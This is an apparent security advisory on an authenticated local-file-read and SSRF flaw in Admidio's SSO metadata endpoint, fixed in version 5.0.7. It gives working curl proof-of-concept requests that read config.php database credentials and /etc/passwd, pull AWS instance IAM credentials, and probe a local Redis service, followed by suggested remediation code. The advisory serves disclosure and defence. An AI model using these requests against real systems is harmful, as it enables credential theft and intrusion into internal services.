| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| admidio/admidio | ≥ 5.0.0, < 5.0.7 | 5.0.7 |
| admidio | ≥ 5.0.0, < 5.0.7 | 5.0.7 |
The SSO metadata fetch endpoint at modules/sso/fetch_metadata.php accepts an arbitrary URL via $_GET['url'], validates it only with PHP's FILTER_VALIDATE_URL, and passes it directly to file_get_contents(). FILTER_VALIDATE_URL accepts file://, http://, ftp://, data://, and php:// scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the file:// wrapper (Local File Read), reach internal services via http:// (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller.
File: D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php, lines 9-34
$url = filter_var($_GET['url'], FILTER_VALIDATE_URL);
if (!$url) {
http_response_code(400);
echo "Invalid URL";
exit;
}
// Fetch metadata from external server
$metadata = file_get_contents($url);
if ($metadata === false) {
http_response_code(500);
echo "Failed to fetch metadata";
exit;
}
echo $metadata;
PHP's FILTER_VALIDATE_URL is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by file_get_contents():
| Scheme | Impact |
|---|---|
file:///etc/passwd | Read any local file the web server process can access |
http://127.0.0.1/ | SSRF to localhost services (databases, admin panels, internal APIs) |
http://169.254.169.254/latest/meta-data/ | AWS EC2 instance metadata (IAM credentials) |
data://text/plain,payload | Data URI content injection |
Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above:
php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));"
// string(18) "file:///etc/passwd" <-- passes validation
php -r "echo file_get_contents('file:///etc/passwd');"
// root:x:0:0:root:/root:/bin/bash <-- file contents returned
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíPHP's file:// stream wrapper is the native filesystem handler and is always available regardless of the allow_url_fopen INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching.
The fetched content is echoed directly at line 34 (echo $metadata), making the complete contents of any readable local file or internal service response available to the caller.
Prerequisites: Administrator account session cookie and CSRF token.
Step 1: Read the Admidio database configuration file
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=file:///var/www/html/adm_my_files/config.php"
Expected response: Full contents of config.php including the database host, username, and password in plaintext.
Step 2: Read system password file
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=file:///etc/passwd"
Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Expected response: IAM role name followed by temporary AWS access key and secret.
Step 4: SSRF to an internal service on localhost
curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \
--data-urlencode "url=http://127.0.0.1:6379/"
(Probes a Redis instance on localhost.)
config.php (database credentials), /etc/passwd, private keys stored in the web root, and .env files.config.php exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls.$rawUrl = $_GET['url'] ?? '';
// Only allow https:// scheme
if (\!preg_match('#^https://#i', $rawUrl)) {
http_response_code(400);
echo "Only HTTPS URLs are permitted";
exit;
}
$url = filter_var($rawUrl, FILTER_VALIDATE_URL);
if (\!$url) {
http_response_code(400);
echo "Invalid URL";
exit;
}
// Resolve hostname and block internal/private IP ranges
$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
http_response_code(400);
echo "URL resolves to a private or reserved IP address";
exit;
}
$metadata = file_get_contents($url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$metadata = curl_exec($ch);
curl_close($ch);
Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.